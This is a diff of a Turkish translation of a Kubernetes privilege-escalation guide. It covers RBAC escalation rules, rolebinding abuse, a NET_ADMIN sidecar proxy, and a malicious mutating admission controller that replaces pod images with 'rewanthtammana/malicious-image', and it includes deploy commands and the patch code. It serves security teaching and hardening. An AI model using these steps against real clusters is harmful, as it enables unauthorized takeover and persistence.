|
||||
### Düğümler ve Podlar durumu
|
||||
### Nodes and Pods status
|
||||
|
||||
`nodes/status` veya `pods/status` üzerinde **`update`** veya **`patch`** izinlerine sahip ilkeler, uygulanan zamanlama kısıtlamalarını etkilemek için etiketleri değiştirebilir.
|
||||
|
||||
## Yerleşik Ayrıcalık Yükseltme Önleme
|
||||
## Built-in Privileged Escalation Prevention
|
||||
|
||||
Kubernetes, ayrıcalık yükseltmeyi önlemek için [yerleşik bir mekanizma](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) sunar.
|
||||
Kubernetes, ayrıcalık yükselmesini önlemek için [yerleşik bir mekanizma](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) sunar.
|
||||
|
||||
Bu sistem, **kullanıcıların rollerini veya rol bağlamalarını değiştirerek ayrıcalıklarını artırmalarını engeller**. Bu kuralın uygulanması API seviyesinde gerçekleşir ve RBAC yetkilendiricisi devre dışı olduğunda bile bir koruma sağlar.
|
||||
Bu sistem, **kullanıcıların roller veya rol bağlamalarını değiştirerek ayrıcalıklarını artırmalarını** engeller. Bu kuralın uygulanması API seviyesinde gerçekleşir ve RBAC yetkilendiricisi devre dışı olduğunda bile bir koruma sağlar.
|
||||
|
||||
Kural, **bir kullanıcının yalnızca bir rolü oluşturabileceğini veya güncelleyebileceğini, eğer rolün içerdiği tüm izinlere sahipse** belirtir. Ayrıca, kullanıcının mevcut izinlerinin kapsamı, oluşturmak veya değiştirmek istediği rolün kapsamıyla uyumlu olmalıdır: ya ClusterRoles için küme genelinde ya da Roles için aynı ad alanında (veya küme genelinde) olmalıdır.
|
||||
Kural, **bir kullanıcının yalnızca bir rolü oluşturabileceğini veya güncelleyebileceğini, eğer rolün içerdiği tüm izinlere sahipse** belirtir. Ayrıca, kullanıcının mevcut izinlerinin kapsamı, oluşturmak veya değiştirmek istediği rolün kapsamıyla uyumlu olmalıdır: ClusterRoles için küme genelinde veya Roles için aynı ad alanında (veya küme genelinde) olmalıdır.
|
||||
|
||||
> [!WARNING]
|
||||
> Önceki kuralda bir istisna vardır. Eğer bir ilkenin **`roles`** veya **`clusterroles`** üzerinde **`escalate`** fiili varsa, kendisi izinlere sahip olmasa bile rollerin ve clusterrollerin ayrıcalıklarını artırabilir.
|
||||
> Önceki kuralda bir istisna vardır. Eğer bir ilke **`roles`** veya **`clusterroles`** üzerinde **`escalate`** fiiline sahipse, izinlere sahip olmadan bile rollerin ve clusterrollerin ayrıcalıklarını artırabilir.
|
||||
|
||||
### **RoleBindings/ClusterRoleBindings Al & Patch**
|
||||
### **Get & Patch RoleBindings/ClusterRoleBindings**
|
||||
|
||||
> [!CAUTION]
|
||||
> **Görünüşe göre bu teknik daha önce çalışıyordu, ancak testlerime göre önceki bölümde açıklanan aynı nedenle artık çalışmıyor. Eğer zaten sahip değilseniz, kendinize veya farklı bir SA'ya bazı ayrıcalıklar vermek için bir rolebinding oluşturamaz/değiştiremezsiniz.**
|
||||
|
||||
Rolebinding oluşturma ayrıcalığı, bir kullanıcının **rolleri bir hizmet hesabına bağlamasına** olanak tanır. Bu ayrıcalık, **kullanıcının ele geçirilmiş bir hizmet hesabına yönetici ayrıcalıkları bağlamasına** neden olabileceğinden, potansiyel olarak ayrıcalık yükseltmeye yol açabilir.
|
||||
Rolebinding oluşturma ayrıcalığı, bir kullanıcının **rolleri bir hizmet hesabına bağlamasına** olanak tanır. Bu ayrıcalık, **kullanıcının ele geçirilmiş bir hizmet hesabına yönetici ayrıcalıkları bağlamasına** neden olabileceğinden, potansiyel olarak ayrıcalık yükselmesine yol açabilir.
|
||||
|
||||
## Diğer Saldırılar
|
||||
## Other Attacks
|
||||
|
||||
### Sidecar proxy uygulaması
|
||||
### Sidecar proxy app
|
||||
|
||||
Varsayılan olarak, podlar arasındaki iletişimde herhangi bir şifreleme yoktur. Karşılıklı kimlik doğrulama, iki yönlü, poddan poda.
|
||||
|
||||
#### Bir sidecar proxy uygulaması oluşturun <a href="#create-a-sidecar-proxy-app" id="create-a-sidecar-proxy-app"></a>
|
||||
#### Create a sidecar proxy app <a href="#create-a-sidecar-proxy-app" id="create-a-sidecar-proxy-app"></a>
|
||||
|
||||
.yaml dosyanızı oluşturun
|
||||
Kendi .yaml dosyanızı oluşturun.
|
||||
```bash
|
||||
kubectl run app --image=bash --command -oyaml --dry-run=client > <appName.yaml> -- sh -c 'ping google.com'
|
||||
```
|
||||
.yaml dosyanızı düzenleyin ve yorum satırlarını ekleyin:
|
||||
.yaml dosyanızı düzenleyin ve yorumlanmamış satırları ekleyin:
|
||||
```yaml
|
||||
#apiVersion: v1
|
||||
#kind: Pod
|
||||
@@ -543,17 +606,17 @@ add: ["NET_ADMIN"]
|
||||
# securityContext:
|
||||
# allowPrivilegeEscalation: true
|
||||
```
|
||||
Proxy'nin günlüklerini görüntüleyin:
|
||||
Proxy'nin loglarını görüntüleyin:
|
||||
```bash
|
||||
kubectl logs app -C proxy
|
||||
```
|
||||
Daha fazla bilgi için: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
|
||||
|
||||
### Kötü Niyetli Kabul Kontrolörü
|
||||
### Kötü Amaçlı Kabul Kontrolörü
|
||||
|
||||
Bir kabul kontrolörü, **nesnenin kalıcılığından önce Kubernetes API sunucusuna yapılan istekleri engeller**, ancak **istek kimlik doğrulandıktan ve yetkilendirildikten sonra**.
|
||||
Bir kabul kontrolörü, **nesnenin kalıcı hale getirilmesinden önce Kubernetes API sunucusuna yapılan istekleri engeller**, ancak **istek kimlik doğrulandıktan ve yetkilendirildikten sonra**.
|
||||
|
||||
Eğer bir saldırgan bir şekilde **bir Mutationg Admission Controller enjekte etmeyi başarırsa**, **zaten kimlik doğrulanmış istekleri değiştirme** yeteneğine sahip olacaktır. Potansiyel olarak yetki yükseltme yapabilir ve genellikle kümede kalıcı hale gelebilir.
|
||||
Eğer bir saldırgan bir şekilde **bir Mutationg Admission Controller enjekte etmeyi başarırsa**, **zaten kimlik doğrulaması yapılmış istekleri değiştirme** yeteneğine sahip olacaktır. Potansiyel olarak yetki yükseltme (privesc) yapabilir ve genellikle kümede kalıcı hale gelebilir.
|
||||
|
||||
**Örnek** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers):
|
||||
```bash
|
||||
@@ -562,7 +625,7 @@ cd malicious-admission-controller-webhook-demo
|
||||
./deploy.sh
|
||||
kubectl get po -n webhook-demo -w
|
||||
```
|
||||
Durumunu kontrol et, hazır olup olmadığını görmek için:
|
||||
Durumunu kontrol et ve hazır olup olmadığını gör:
|
||||
```bash
|
||||
kubectl get mutatingwebhookconfigurations
|
||||
kubectl get deploy,svc -n webhook-demo
|
||||
@@ -581,11 +644,11 @@ kubectl describe po nginx | grep "Image: "
|
||||
```
|
||||

|
||||
|
||||
Yukarıdaki resimde görebileceğiniz gibi, `nginx` imajını çalıştırmaya çalıştık ama son executed imaj `rewanthtammana/malicious-image`. Ne oldu böyle!!?
|
||||
Yukarıdaki görüntüde görebileceğiniz gibi, `nginx` imajını çalıştırmaya çalıştık ama son çalıştırılan imaj `rewanthtammana/malicious-image`. Ne oldu böyle!!?
|
||||
|
||||
#### Teknik Detaylar <a href="#heading-technicalities" id="heading-technicalities"></a>
|
||||
|
||||
`./deploy.sh` scripti, yapılandırma satırlarında belirtilen şekilde Kubernetes API'sine yapılan istekleri değiştiren bir mutasyona uğratan webhook admission controller'ı kurar ve gözlemlenen sonuçları etkiler:
|
||||
`./deploy.sh` betiği, yapılandırma satırlarında belirtilen şekilde Kubernetes API'sine yapılan istekleri değiştiren bir mutasyona uğratan webhook admission controller'ı kurar ve gözlemlenen sonuçları etkiler:
|
||||
```
|
||||
patches = append(patches, patchOperation{
|
||||
Op: "replace",
|
||||
@@ -595,7 +658,7 @@ Value: "rewanthtammana/malicious-image",
|
||||
```
|
||||
Yukarıdaki kod parçası, her pod'daki ilk konteyner görüntüsünü `rewanthtammana/malicious-image` ile değiştirir.
|
||||
|
||||
## OPA Gatekeeper atlatma
|
||||
## OPA Gatekeeper bypass
|
||||
|
||||
{{#ref}}
|
||||
../kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md
|
||||
@@ -610,7 +673,7 @@ Yukarıdaki kod parçası, her pod'daki ilk konteyner görüntüsünü `rewantht
|
||||
|
||||
### **RoleBindings/ClusterRoleBindings'de Kısıtlayıcı Kullanıcı Ataması**
|
||||
|
||||
- **Seçici Dahil Etme**: RoleBindings veya ClusterRoleBindings'e yalnızca gerekli kullanıcıların dahil edildiğinden emin olun. Düzenli olarak denetleyin ve alakasız kullanıcıları kaldırarak güvenliği sıkı tutun.
|
||||
- **Seçici Dahil Etme**: RoleBindings veya ClusterRoleBindings'e yalnızca gerekli kullanıcıların dahil edildiğinden emin olun. Düzenli olarak denetim yapın ve alakasız kullanıcıları kaldırarak güvenliği sıkı tutun.
|
||||
|
||||
### **Namespace'e Özel Roller Üzerine Cluster Genel Roller**
|
||||
|
||||
|
||||
Reference in New Issue
Block a user